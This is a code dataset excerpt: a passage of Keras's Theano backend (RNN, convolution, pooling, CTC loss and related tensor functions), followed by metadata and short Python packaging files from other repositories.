input_length is None: raise ValueError('When specifying `unroll=True`, ' 'an `input_length` ' 'must be provided to `rnn`.') axes = [1, 0] + list(range(2, ndim)) inputs = inputs.dimshuffle(axes) if constants is None: constants = [] if mask is not None: if mask.ndim == ndim-1: mask = expand_dims(mask) assert mask.ndim == ndim mask = mask.dimshuffle(axes) if unroll: indices = list(range(input_length)) if go_backwards: indices = indices[::-1] successive_outputs = [] successive_states = [] states = initial_states for i in indices: output, new_states = step_function(inputs[i], states + constants) if len(successive_outputs) == 0: prev_output = zeros_like(output) else: prev_output = successive_outputs[-1] output = T.switch(mask[i], output, prev_output) kept_states = [] for state, new_state in zip(states, new_states): kept_states.append(T.switch(mask[i], new_state, state)) states = kept_states successive_outputs.append(output) successive_states.append(states) outputs = T.stack(*successive_outputs) states = [] for i in range(len(successive_states[-1])): states.append(T.stack(*[states_at_step[i] for states_at_step in successive_states])) else: # build an all-zero tensor of shape (samples, output_dim) initial_output = step_function(inputs[0], initial_states + constants)[0] * 0 # Theano gets confused by broadcasting patterns in the scan op initial_output = T.unbroadcast(initial_output, 0, 1) def _step(input, mask, output_tm1, *states): output, new_states = step_function(input, states) # output previous output if masked. output = T.switch(mask, output, output_tm1) return_states = [] for state, new_state in zip(states, new_states): return_states.append(T.switch(mask, new_state, state)) return [output] + return_states results, _ = theano.scan( _step, sequences=[inputs, mask], outputs_info=[initial_output] + initial_states, non_sequences=constants, go_backwards=go_backwards) # deal with Theano API inconsistency if isinstance(results, list): outputs = results[0] states = results[1:] else: outputs = results states = [] else: if unroll: indices = list(range(input_length)) if go_backwards: indices = indices[::-1] successive_outputs = [] successive_states = [] states = initial_states for i in indices: output, states = step_function(inputs[i], states + constants) successive_outputs.append(output) successive_states.append(states) outputs = T.stack(*successive_outputs) states = [] for i in range(len(successive_states[-1])): states.append(T.stack(*[states_at_step[i] for states_at_step in successive_states])) else: def _step(input, *states): output, new_states = step_function(input, states) return [output] + new_states results, _ = theano.scan( _step, sequences=inputs, outputs_info=[None] + initial_states, non_sequences=constants, go_backwards=go_backwards) # deal with Theano API inconsistency if isinstance(results, list): outputs = results[0] states = results[1:] else: outputs = results states = [] outputs = T.squeeze(outputs) last_output = outputs[-1] axes = [1, 0] + list(range(2, outputs.ndim)) outputs = outputs.dimshuffle(axes) states = [T.squeeze(state[-1]) for state in states] return last_output, outputs, states def switch(condition, then_expression, else_expression): """condition: scalar tensor. """ if callable(then_expression): then_expression = then_expression() if callable(else_expression): else_expression = else_expression() return T.switch(condition, then_expression, else_expression) def in_train_phase(x, alt): if _LEARNING_PHASE is 1: return x elif _LEARNING_PHASE is 0: return alt if callable(x): x = x() if callable(alt): alt = alt() x = theano.ifelse.ifelse(_LEARNING_PHASE, x, alt) x._uses_learning_phase = True return x def in_test_phase(x, alt): if _LEARNING_PHASE is 1: return alt elif _LEARNING_PHASE is 0: return x if callable(x): x = x() if callable(alt): alt = alt() x = theano.ifelse.ifelse(_LEARNING_PHASE, alt, x) x._uses_learning_phase = True return x # NN OPERATIONS def _assert_has_capability(module, func): if not hasattr(module, func): raise EnvironmentError( 'It looks like like your version of ' 'Theano is out of date. ' 'Install the latest version with:\n' 'pip install git+git://github.com/Theano/Theano.git ' '--upgrade --no-deps') def elu(x, alpha=1.0): """ Exponential linear unit # Arguments x: Tensor to compute the activation function for. alpha: scalar """ _assert_has_capability(T.nnet, 'elu') return T.nnet.elu(x, alpha) def relu(x, alpha=0., max_value=None): _assert_has_capability(T.nnet, 'relu') x = T.nnet.relu(x, alpha) if max_value is not None: x = T.minimum(x, max_value) return x def softmax(x): return T.nnet.softmax(x) def softplus(x): return T.nnet.softplus(x) def softsign(x): return T_softsign(x) def categorical_crossentropy(output, target, from_logits=False): if from_logits: output = T.nnet.softmax(output) else: # scale preds so that the class probas of each sample sum to 1 output /= output.sum(axis=-1, keepdims=True) # avoid numerical instability with _EPSILON clipping output = T.clip(output, _EPSILON, 1.0 - _EPSILON) return T.nnet.categorical_crossentropy(output, target) def sparse_categorical_crossentropy(output, target, from_logits=False): target = T.cast(T.flatten(target), 'int32') target = T.extra_ops.to_one_hot(target, nb_class=output.shape[-1]) target = reshape(target, shape(output)) return categorical_crossentropy(output, target, from_logits) def binary_crossentropy(output, target, from_logits=False): if from_logits: output = T.nnet.sigmoid(output) # avoid numerical instability with _EPSILON clipping output = T.clip(output, _EPSILON, 1.0 - _EPSILON) return T.nnet.binary_crossentropy(output, target) def sigmoid(x): return T.nnet.sigmoid(x) def hard_sigmoid(x): return T.nnet.hard_sigmoid(x) def tanh(x): return T.tanh(x) def dropout(x, level, noise_shape=None, seed=None): """Sets entries in `x` to zero at random, while scaling the entire tensor. # Arguments x: tensor level: fraction of the entries in the tensor that will be set to 0. noise_shape: shape for randomly generated keep/drop flags, must be broadcastable to the shape of `x` seed: random seed to ensure determinism. """ if level < 0. or level >= 1: raise ValueError('Dropout level must be in interval [0, 1[.') if seed is None: seed = np.random.randint(1, 10e6) if isinstance(noise_shape, list): noise_shape = tuple(noise_shape) rng = RandomStreams(seed=seed) retain_prob = 1. - level if noise_shape is None: random_tensor = rng.binomial(x.shape, p=retain_prob, dtype=x.dtype) else: random_tensor = rng.binomial(noise_shape, p=retain_prob, dtype=x.dtype) random_tensor = T.patternbroadcast(random_tensor, [dim == 1 for dim in noise_shape]) x *= random_tensor x /= retain_prob return x def l2_normalize(x, axis): norm = T.sqrt(T.sum(T.square(x), axis=axis, keepdims=True)) return x / norm def in_top_k(predictions, targets, k): """Returns whether the `targets` are in the top `k` `predictions` # Arguments predictions: A tensor of shape batch_size x classess and type float32. targets: A tensor of shape batch_size and type int32 or int64. k: An int, number of top elements to consider. # Returns A tensor of shape batch_size and type int. output_i is 1 if targets_i is within top-k values of predictions_i """ predictions_top_k = T.argsort(predictions)[:, -k:] result, _ = theano.map(lambda prediction, target: any(equal(prediction, target)), sequences=[predictions_top_k, targets]) return result # CONVOLUTIONS def _preprocess_conv2d_input(x, dim_ordering): if dim_ordering == 'tf': # TF uses the last dimension as channel dimension, # instead of the 2nd one. # TH input shape: (samples, input_depth, rows, cols) # TF input shape: (samples, rows, cols, input_depth) x = x.dimshuffle((0, 3, 1, 2)) return x def _preprocess_conv3d_input(x, dim_ordering): if dim_ordering == 'tf': # TF uses the last dimension as channel dimension, # instead of the 2nd one. # TH input shape: (samples, input_depth, rows, cols, slices) # TF input shape: (samples, rows, cols, slices, input_depth) x = x.dimshuffle((0, 4, 1, 2, 3)) return x def _preprocess_conv2d_kernel(kernel, dim_ordering): if dim_ordering == 'tf': # TF uses the last dimension as channel dimension, # instead of the 2nd one. # TH kernel shape: (depth, input_depth, rows, cols) # TF kernel shape: (rows, cols, input_depth, depth) kernel = kernel.dimshuffle((3, 2, 0, 1)) return kernel def _preprocess_conv3d_kernel(kernel, dim_ordering): if dim_ordering == 'tf': # TF uses the last dimension as channel dimension, # instead of the 2nd one. # TH kernel shape: (depth, input_depth, rows, cols, slices) # TF kernel shape: (rows, cols, slices, input_depth, depth) kernel = kernel.dimshuffle((4, 3, 0, 1, 2)) return kernel def _preprocess_border_mode(border_mode): if border_mode == 'same': th_border_mode = 'half' elif border_mode == 'valid': th_border_mode = 'valid' elif border_mode == 'full': th_border_mode = 'full' else: raise ValueError('Border mode not supported:', str(border_mode)) return th_border_mode def _preprocess_conv2d_image_shape(dim_ordering, image_shape): # Theano might not accept long type def int_or_none(value): try: return int(value) except TypeError: return None if dim_ordering == 'tf': if image_shape: image_shape = (image_shape[0], image_shape[3], image_shape[1], image_shape[2]) if image_shape is not None: image_shape = tuple(int_or_none(v) for v in image_shape) return image_shape def _preprocess_conv3d_volume_shape(dim_ordering, volume_shape): # Theano might not accept long type def int_or_none(value): try: return int(value) except TypeError: return None if dim_ordering == 'tf': if volume_shape: volume_shape = (volume_shape[0], volume_shape[4], volume_shape[1], volume_shape[2], volume_shape[3]) if volume_shape is not None: volume_shape = tuple(int_or_none(v) for v in volume_shape) return volume_shape def _preprocess_conv2d_filter_shape(dim_ordering, filter_shape): # Theano might not accept long type def int_or_none(value): try: return int(value) except TypeError: return None if dim_ordering == 'tf': if filter_shape: filter_shape = (filter_shape[3], filter_shape[2], filter_shape[0], filter_shape[1]) if filter_shape is not None: filter_shape = tuple(int_or_none(v) for v in filter_shape) return filter_shape def _preprocess_conv3d_filter_shape(dim_ordering, filter_shape): # Theano might not accept long type def int_or_none(value): try: return int(value) except TypeError: return None if dim_ordering == 'tf': if filter_shape: filter_shape = (filter_shape[4], filter_shape[3], filter_shape[0], filter_shape[1], filter_shape[2]) if filter_shape is not None: filter_shape = tuple(int_or_none(v) for v in filter_shape) return filter_shape def _postprocess_conv2d_output(conv_out, x, border_mode, np_kernel, strides, dim_ordering): if border_mode == 'same': if np_kernel.shape[2] % 2 == 0: conv_out = conv_out[:, :, :(x.shape[2] + strides[0] - 1) // strides[0], :] if np_kernel.shape[3] % 2 == 0: conv_out = conv_out[:, :, :, :(x.shape[3] + strides[1] - 1) // strides[1]] if dim_ordering == 'tf': conv_out = conv_out.dimshuffle((0, 2, 3, 1)) return conv_out def _postprocess_conv3d_output(conv_out, x, border_mode, np_kernel, strides, dim_ordering): if border_mode == 'same': if np_kernel.shape[2] % 2 == 0: conv_out = conv_out[:, :, :(x.shape[2] + strides[0] - 1) // strides[0], :, :] if np_kernel.shape[3] % 2 == 0: conv_out = conv_out[:, :, :, :(x.shape[3] + strides[1] - 1) // strides[1], :] if np_kernel.shape[4] % 2 == 0: conv_out = conv_out[:, :, :, :, :(x.shape[4] + strides[2] - 1) // strides[2]] if dim_ordering == 'tf': conv_out = conv_out.dimshuffle((0, 2, 3, 4, 1)) return conv_out def conv1d(x, kernel, stride=1, border_mode='valid', image_shape=None, filter_shape=None): """1D convolution. # Arguments kernel: kernel tensor. strides: stride integer. border_mode: string, "same" or "valid". """ raise NotImplementedError def conv2d(x, kernel, strides=(1, 1), border_mode='valid', dim_ordering='default', image_shape=None, filter_shape=None, filter_dilation=(1, 1)): """2D convolution. # Arguments kernel: kernel tensor. strides: strides tuple. border_mode: string, "same" or "valid". dim_ordering: "tf" or "th". Whether to use Theano or TensorFlow dimension ordering in inputs/kernels/ouputs. """ if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering ', dim_ordering) x = _preprocess_conv2d_input(x, dim_ordering) kernel = _preprocess_conv2d_kernel(kernel, dim_ordering) th_border_mode = _preprocess_border_mode(border_mode) np_kernel = kernel.eval() image_shape = _preprocess_conv2d_image_shape(dim_ordering, image_shape) filter_shape = _preprocess_conv2d_filter_shape(dim_ordering, filter_shape) # TODO: remove the if statement when theano with no filter dilation is deprecated. if filter_dilation == (1, 1): conv_out = T.nnet.conv2d(x, kernel, border_mode=th_border_mode, subsample=strides, input_shape=image_shape, filter_shape=filter_shape) else: conv_out = T.nnet.conv2d(x, kernel, border_mode=th_border_mode, subsample=strides, input_shape=image_shape, filter_shape=filter_shape, filter_dilation=filter_dilation) conv_out = _postprocess_conv2d_output(conv_out, x, border_mode, np_kernel, strides, dim_ordering) return conv_out def deconv2d(x, kernel, output_shape, strides=(1, 1), border_mode='valid', dim_ordering='default', image_shape=None, filter_shape=None): """2D deconvolution (transposed convolution). # Arguments kernel: kernel tensor. output_shape: desired dimensions of output. strides: strides tuple. border_mode: string, "same" or "valid". dim_ordering: "tf" or "th". Whether to use Theano or TensorFlow dimension ordering in inputs/kernels/ouputs. """ flip_filters = False if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering ' + dim_ordering) x = _preprocess_conv2d_input(x, dim_ordering) kernel = _preprocess_conv2d_kernel(kernel, dim_ordering) kernel = kernel.dimshuffle((1, 0, 2, 3)) th_border_mode = _preprocess_border_mode(border_mode) np_kernel = kernel.eval() filter_shape = _preprocess_conv2d_filter_shape(dim_ordering, filter_shape) filter_shape = tuple(filter_shape[i] for i in (1, 0, 2, 3)) op = T.nnet.abstract_conv.AbstractConv2d_gradInputs(imshp=output_shape, kshp=filter_shape, subsample=strides, border_mode=th_border_mode, filter_flip=not flip_filters) conv_out = op(kernel, x, output_shape[2:]) conv_out = _postprocess_conv2d_output(conv_out, x, border_mode, np_kernel, strides, dim_ordering) return conv_out def atrous_conv2d(x, kernel, rate=1, border_mode='valid', dim_ordering='default', image_shape=None, filter_shape=None): raise NotImplementedError def separable_conv2d(x, depthwise_kernel, pointwise_kernel, strides=(1, 1), border_mode='valid', dim_ordering='default'): raise NotImplementedError def conv3d(x, kernel, strides=(1, 1, 1), border_mode='valid', dim_ordering='default', volume_shape=None, filter_shape=None, filter_dilation=(1, 1, 1)): """3D convolution. # Arguments kernel: kernel tensor. strides: strides tuple. border_mode: string, "same" or "valid". dim_ordering: "tf" or "th". Whether to use Theano or TensorFlow dimension ordering in inputs/kernels/ouputs. """ if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) # TODO: remove this if statement when Theano without AbstractConv3d is deprecated if not hasattr(T.nnet, 'conv3d'): if filter_dilation != (1, 1, 1): raise ValueError('conv3d with filter dilation requires Theano ' '0.9.0dev3 or newer.') return _old_theano_conv3d(x, kernel, strides, border_mode, dim_ordering, volume_shape, filter_shape) x = _preprocess_conv3d_input(x, dim_ordering) kernel = _preprocess_conv3d_kernel(kernel, dim_ordering) th_border_mode = _preprocess_border_mode(border_mode) np_kernel = kernel.eval() volume_shape = _preprocess_conv3d_volume_shape(dim_ordering, volume_shape) filter_shape = _preprocess_conv3d_filter_shape(dim_ordering, filter_shape) conv_out = T.nnet.conv3d(x, kernel, border_mode=th_border_mode, subsample=strides, input_shape=volume_shape, filter_shape=filter_shape, filter_dilation=filter_dilation) conv_out = _postprocess_conv3d_output(conv_out, x, border_mode, np_kernel, strides, dim_ordering) return conv_out # TODO: remove this function when theano without AbstractConv3d is deprecated def _old_theano_conv3d(x, kernel, strides=(1, 1, 1), border_mode='valid', dim_ordering='default', volume_shape=None, filter_shape=None): """ Run on cuDNN if available. border_mode: string, "same" or "valid". """ if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) if border_mode not in {'same', 'valid'}: raise ValueError('Invalid border mode:', border_mode) if dim_ordering == 'tf': # TF uses the last dimension as channel dimension, # instead of the 2nd one. # TH input shape: (samples, input_depth, conv_dim1, conv_dim2, conv_dim3) # TF input shape: (samples, conv_dim1, conv_dim2, conv_dim3, input_depth) # TH kernel shape: (out_depth, input_depth, kernel_dim1, kernel_dim2, kernel_dim3) # TF kernel shape: (kernel_dim1, kernel_dim2, kernel_dim3, input_depth, out_depth) x = x.dimshuffle((0, 4, 1, 2, 3)) kernel = kernel.dimshuffle((4, 3, 0, 1, 2)) if volume_shape: volume_shape = (volume_shape[0], volume_shape[4], volume_shape[1], volume_shape[2], volume_shape[3]) if filter_shape: filter_shape = (filter_shape[4], filter_shape[3], filter_shape[0], filter_shape[1], filter_shape[2]) if border_mode == 'same': assert(strides == (1, 1, 1)) pad_dim1 = (kernel.shape[2] - 1) pad_dim2 = (kernel.shape[3] - 1) pad_dim3 = (kernel.shape[4] - 1) output_shape = (x.shape[0], x.shape[1], x.shape[2] + pad_dim1, x.shape[3] + pad_dim2, x.shape[4] + pad_dim3) output = T.zeros(output_shape) indices = (slice(None), slice(None), slice(pad_dim1 // 2, x.shape[2] + pad_dim1 // 2), slice(pad_dim2 // 2, x.shape[3] + pad_dim2 // 2), slice(pad_dim3 // 2, x.shape[4] + pad_dim3 // 2)) x = T.set_subtensor(output[indices], x) border_mode = 'valid' border_mode_3d = (border_mode, border_mode, border_mode) conv_out = conv3d2d.conv3d(signals=x.dimshuffle(0, 2, 1, 3, 4), filters=kernel.dimshuffle(0, 2, 1, 3, 4), border_mode=border_mode_3d) conv_out = conv_out.dimshuffle(0, 2, 1, 3, 4) # support strides by manually slicing the output if strides != (1, 1, 1): conv_out = conv_out[:, :, ::strides[0], ::strides[1], ::strides[2]] if dim_ordering == 'tf': conv_out = conv_out.dimshuffle((0, 2, 3, 4, 1)) return conv_out def pool2d(x, pool_size, strides=(1, 1), border_mode='valid', dim_ordering='default', pool_mode='max'): if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) assert pool_size[0] >= 1 and pool_size[1] >= 1 if border_mode == 'same': w_pad = pool_size[0] - 2 if pool_size[0] > 2 and pool_size[0] % 2 == 1 else pool_size[0] - 1 h_pad = pool_size[1] - 2 if pool_size[1] > 2 and pool_size[1] % 2 == 1 else pool_size[1] - 1 padding = (w_pad, h_pad) elif border_mode == 'valid': padding = (0, 0) else: raise ValueError('Invalid border mode:', border_mode) if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) if dim_ordering == 'tf': x = x.dimshuffle((0, 3, 1, 2)) if pool_mode == 'max': # TODO remove the old call once Theano older than 0.9.0dev4 is deprecated try: # new interface (introduced in 0.9.0dev4) pool_out = pool.pool_2d(x, ws=pool_size, stride=strides, ignore_border=True, pad=padding, mode='max') except TypeError: # old interface pool_out = pool.pool_2d(x, ds=pool_size, st=strides, ignore_border=True, padding=padding, mode='max') elif pool_mode == 'avg': # TODO remove the old call once Theano older than 0.9.0dev4 is deprecated try: # new interface (introduced in 0.9.0dev4) pool_out = pool.pool_2d(x, ws=pool_size, stride=strides, ignore_border=True, pad=padding, mode='average_exc_pad') except TypeError: # old interface pool_out = pool.pool_2d(x, ds=pool_size, st=strides, ignore_border=True, padding=padding, mode='average_exc_pad') else: raise ValueError('Invalid pooling mode:', pool_mode) if border_mode == 'same': expected_width = (x.shape[2] + strides[0] - 1) // strides[0] expected_height = (x.shape[3] + strides[1] - 1) // strides[1] pool_out = pool_out[:, :, : expected_width, : expected_height] if dim_ordering == 'tf': pool_out = pool_out.dimshuffle((0, 2, 3, 1)) return pool_out def pool3d(x, pool_size, strides=(1, 1, 1), border_mode='valid', dim_ordering='default', pool_mode='max'): if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) # TODO: remove this if statement when Theano without pool_3d is deprecated # (pool_3d was introduced after 0.9.0dev3) if not hasattr(T.signal.pool, 'pool_3d'): return _old_theano_pool3d(x, pool_size, strides, border_mode, dim_ordering, pool_mode) if border_mode == 'same': w_pad = pool_size[0] - 2 if pool_size[0] % 2 == 1 else pool_size[0] - 1 h_pad = pool_size[1] - 2 if pool_size[1] % 2 == 1 else pool_size[1] - 1 d_pad = pool_size[2] - 2 if pool_size[2] % 2 == 1 else pool_size[2] - 1 padding = (w_pad, h_pad, d_pad) elif border_mode == 'valid': padding = (0, 0, 0) else: raise ValueError('Invalid border mode:', border_mode) if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) if dim_ordering == 'tf': x = x.dimshuffle((0, 4, 1, 2, 3)) if pool_mode == 'max': # TODO remove the old call once Theano older than 0.9.0dev4 is deprecated try: # new interface (introduced in 0.9.0dev4) pool_out = pool.pool_3d(x, ws=pool_size, stride=strides, ignore_border=True, pad=padding, mode='max') except TypeError: # old interface pool_out = pool.pool_3d(x, ds=pool_size, st=strides, ignore_border=True, padding=padding, mode='max') elif pool_mode == 'avg': # TODO remove the old call once Theano older than 0.9.0dev4 is deprecated try: # new interface (introduced in 0.9.0dev4) pool_out = pool.pool_3d(x, ws=pool_size, stride=strides, ignore_border=True, pad=padding, mode='average_exc_pad') except TypeError: # old interface pool_out = pool.pool_3d(x, ds=pool_size, st=strides, ignore_border=True, padding=padding, mode='average_exc_pad') else: raise ValueError('Invalid pooling mode:', pool_mode) if border_mode == 'same': expected_width = (x.shape[2] + strides[0] - 1) // strides[0] expected_height = (x.shape[3] + strides[1] - 1) // strides[1] expected_depth = (x.shape[4] + strides[2] - 1) // strides[2] pool_out = pool_out[:, :, : expected_width, : expected_height, : expected_depth] if dim_ordering == 'tf': pool_out = pool_out.dimshuffle((0, 2, 3, 4, 1)) return pool_out # TODO: remove this function when Theano without pool_3d is deprecated # (pool_3d was introduced after 0.9.0dev3) def _old_theano_pool3d(x, pool_size, strides=(1, 1, 1), border_mode='valid', dim_ordering='default', pool_mode='max'): if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) if border_mode == 'same': # TODO: add implementation for border_mode="same" raise ValueError('border_mode="same" not supported with Theano.') elif border_mode == 'valid': ignore_border = True padding = (0, 0) else: raise ValueError('Invalid border mode:', border_mode) if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering:', dim_ordering) if dim_ordering == 'tf': x = x.dimshuffle((0, 4, 1, 2, 3)) if pool_mode == 'max': # pooling over conv_dim2, conv_dim1 (last two channels) output = pool.pool_2d(input=x.dimshuffle(0, 1, 4, 3, 2), ds=(pool_size[1], pool_size[0]), st=(strides[1], strides[0]), ignore_border=ignore_border, padding=padding, mode='max') # pooling over conv_dim3 pool_out = pool.pool_2d(input=output.dimshuffle(0, 1, 4, 3, 2), ds=(1, pool_size[2]), st=(1, strides[2]), ignore_border=ignore_border, padding=padding, mode='max') elif pool_mode == 'avg': # pooling over conv_dim2, conv_dim1 (last two channels) output = pool.pool_2d(input=x.dimshuffle(0, 1, 4, 3, 2), ds=(pool_size[1], pool_size[0]), st=(strides[1], strides[0]), ignore_border=ignore_border, padding=padding, mode='average_exc_pad') # pooling over conv_dim3 pool_out = pool.pool_2d(input=output.dimshuffle(0, 1, 4, 3, 2), ds=(1, pool_size[2]), st=(1, strides[2]), ignore_border=ignore_border, padding=padding, mode='average_exc_pad') else: raise ValueError('Invalid pooling mode:', pool_mode) if dim_ordering == 'tf': pool_out = pool_out.dimshuffle((0, 2, 3, 4, 1)) return pool_out # RANDOMNESS def random_normal(shape, mean=0.0, std=1.0, dtype=None, seed=None): if dtype is None: dtype = floatx() if seed is None: seed = np.random.randint(1, 10e6) rng = RandomStreams(seed=seed) return rng.normal(size=shape, avg=mean, std=std, dtype=dtype) def random_uniform(shape, low=0.0, high=1.0, dtype=None, seed=None): if dtype is None: dtype = floatx() if seed is None: seed = np.random.randint(1, 10e6) rng = RandomStreams(seed=seed) return rng.uniform(shape, low=low, high=high, dtype=dtype) def random_binomial(shape, p=0.0, dtype=None, seed=None): if dtype is None: dtype = floatx() if seed is None: seed = np.random.randint(1, 10e6) rng = RandomStreams(seed=seed) return rng.binomial(shape, p=p, dtype=dtype) # Theano implementation of CTC # Used with permission from Shawn Tan # https://github.com/shawntan/ # Note that tensorflow's native CTC code is significantly # faster than this def ctc_interleave_blanks(Y): Y_ = T.alloc(-1, Y.shape[0] * 2 + 1) Y_ = T.set_subtensor(Y_[T.arange(Y.shape[0]) * 2 + 1], Y) return Y_ def ctc_create_skip_idxs(Y): skip_idxs = T.arange((Y.shape[0] - 3) // 2) * 2 + 1 non_repeats = T.neq(Y[skip_idxs], Y[skip_idxs + 2]) return skip_idxs[non_repeats.nonzero()] def ctc_update_log_p(skip_idxs, zeros, active, log_p_curr, log_p_prev): active_skip_idxs = skip_idxs[(skip_idxs < active).nonzero()] active_next = T.cast(T.minimum( T.maximum( active + 1, T.max(T.concatenate([active_skip_idxs, [-1]])) + 2 + 1 ), log_p_curr.shape[0]), 'int32') common_factor = T.max(log_p_prev[:active]) p_prev = T.exp(log_p_prev[:active] - common_factor) _p_prev = zeros[:active_next] # copy over _p_prev = T.set_subtensor(_p_prev[:active], p_prev) # previous transitions _p_prev = T.inc_subtensor(_p_prev[1:], _p_prev[:-1]) # skip transitions _p_prev = T.inc_subtensor(_p_prev[active_skip_idxs + 2], p_prev[active_skip_idxs]) updated_log_p_prev = T.log(_p_prev) + common_factor log_p_next = T.set_subtensor( zeros[:active_next], log_p_curr[:active_next] + updated_log_p_prev ) return active_next, log_p_next def ctc_path_probs(predict, Y, alpha=1e-4): smoothed_predict = (1 - alpha) * predict[:, Y] + alpha * np.float32(1.) / Y.shape[0] L = T.log(smoothed_predict) zeros = T.zeros_like(L[0]) log_first = zeros f_skip_idxs = ctc_create_skip_idxs(Y) b_skip_idxs = ctc_create_skip_idxs(Y[::-1]) # there should be a shortcut to calculating this def step(log_f_curr, log_b_curr, f_active, log_f_prev, b_active, log_b_prev): f_active_next, log_f_next = ctc_update_log_p(f_skip_idxs, zeros, f_active, log_f_curr, log_f_prev) b_active_next, log_b_next = ctc_update_log_p(b_skip_idxs, zeros, b_active, log_b_curr, log_b_prev) return f_active_next, log_f_next, b_active_next, log_b_next [f_active, log_f_probs, b_active, log_b_probs], _ = theano.scan( step, sequences=[L, L[::-1, ::-1]], outputs_info=[np.int32(1), log_first, np.int32(1), log_first]) idxs = T.arange(L.shape[1]).dimshuffle('x', 0) mask = (idxs < f_active.dimshuffle(0, 'x')) & (idxs < b_active.dimshuffle(0, 'x'))[::-1, ::-1] log_probs = log_f_probs + log_b_probs[::-1, ::-1] - L return log_probs, mask def ctc_cost(predict, Y): log_probs, mask = ctc_path_probs(predict, ctc_interleave_blanks(Y)) common_factor = T.max(log_probs) total_log_prob = T.log(T.sum(T.exp(log_probs - common_factor)[mask.nonzero()])) + common_factor return -total_log_prob # batchifies original CTC code def ctc_batch_cost(y_true, y_pred, input_length, label_length): """Runs CTC loss algorithm on each batch element. # Arguments y_true: tensor (samples, max_string_length) containing the truth labels y_pred: tensor (samples, time_steps, num_categories) containing the prediction, or output of the softmax input_length: tensor (samples,1) containing the sequence length for each batch item in y_pred label_length: tensor (samples,1) containing the sequence length for each batch item in y_true # Returns Tensor with shape (samples,1) containing the CTC loss of each element """ def ctc_step(y_true_step, y_pred_step, input_length_step, label_length_step): y_pred_step = y_pred_step[0: input_length_step[0]] y_true_step = y_true_step[0:label_length_step[0]] return ctc_cost(y_pred_step, y_true_step) ret, _ = theano.scan( fn=ctc_step, outputs_info=None, sequences=[y_true, y_pred, input_length, label_length] ) ret = ret.dimshuffle('x', 0) return ret # HIGH ORDER FUNCTIONS def map_fn(fn, elems, name=None): """Map the function fn over the elements elems and return the outputs. # Arguments fn: Callable that will be called upon each element in elems elems: tensor, at least 2 dimensional name: A string name for the map node in the graph # Returns Tensor with first dimension equal to the elems and second depending on fn """ return theano.map(fn, elems, name=name)[0] def foldl(fn, elems, initializer=None, name=None): """Reduce elems using fn to combine them from left to right. # Arguments fn: Callable that will be called upon each element in elems and an accumulator, for instance lambda acc, x: acc + x elems: tensor initializer: The first value used (elems[0] in case of None) name: A string name for the foldl node in the graph # Returns Same type and shape as initializer """ if initializer is None: initializer = elems[0] elems = elems[1:] # We need to change the order of the arguments because theano accepts x as # first parameter and accumulator as second fn2 = lambda x, acc: fn(acc, x) return theano.foldl(fn2, elems, initializer, name=name)[0] def foldr(fn, elems, initializer=None, name=None): """Reduce elems using fn to combine them from right to left. # Arguments fn: Callable that will be called upon each element in elems and an accumulator, for instance lambda acc, x: acc + x elems: tensor initializer: The first value used (elems[-1] in case of None) name: A string name for the foldr node in the graph # Returns Same type and shape as initializer """ if initializer is None: initializer = elems[-1] elems = elems[:-1] # We need to change the order of the arguments because theano accepts x as # first parameter and accumulator as second fn2 = lambda x, acc: fn(acc, x) return theano.foldr(fn2, elems, initializer, name=name)[0]

33.787081

125

0.601572

4a07b003c8d845afc73bfa6e59ebfbaf3584af25

947

py

Python

source/lib/MediaReplayEngineWorkflowHelper/setup.py

awslabs/aws-media-replay-engine

2c217eff42f8e2c56b43e2ecf593f5aaa92c5451

[ "Apache-2.0" ]

22

2021-11-24T01:23:07.000Z

2022-03-26T23:24:46.000Z

source/lib/MediaReplayEngineWorkflowHelper/setup.py

awslabs/aws-media-replay-engine

2c217eff42f8e2c56b43e2ecf593f5aaa92c5451

[ "Apache-2.0" ]

null

source/lib/MediaReplayEngineWorkflowHelper/setup.py

awslabs/aws-media-replay-engine

2c217eff42f8e2c56b43e2ecf593f5aaa92c5451

[ "Apache-2.0" ]

3

2021-12-10T09:42:51.000Z

2022-02-16T02:22:50.000Z

# Copyright 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: Apache-2.0 import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="Media Replay Engine Workflow Helper", version="1.0.0", author="Aravindharaj Rajendran", author_email="redacted@example.com", description="Helper library used by the Media Replay Engine internal lambda functions to interact with the control plane", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/aws-solutions/aws-media-replay-engine", packages=setuptools.find_packages(), install_requires=[ 'urllib3', 'requests', 'requests-aws4auth' ], classifiers=[ "Programming Language :: Python :: 3", "License :: Other/Proprietary License", "Operating System :: OS Independent", ], )

31.566667

126

0.695882

4a07b014b3f45af3b623d5626c483a845b5faa88

112

py

Python

__init__.py

sheepmen/pbase

6ea54bea91cd9f32cbf73899cbb01f7dddd434ce

[ "MIT" ]

null

__init__.py

sheepmen/pbase

6ea54bea91cd9f32cbf73899cbb01f7dddd434ce

[ "MIT" ]

null

__init__.py

sheepmen/pbase

6ea54bea91cd9f32cbf73899cbb01f7dddd434ce

[ "MIT" ]

1

2018-07-26T01:42:02.000Z

#!/usr/bin/env python # -*- coding:utf-8 -*- from connection import Connection from pool import ConnectionPool

18.666667

33

0.741071

4a07b113ac259650f9a915f5dd3a8f391e0d877a

204

py

Python

samcli/lib/utils/defaults.py

torresxb1/aws-sam-cli

d307f2eb6e1a91a476a5e2ca6070f974b0c913f1

[ "BSD-2-Clause", "Apache-2.0" ]

2,959

2018-05-08T21:48:56.000Z

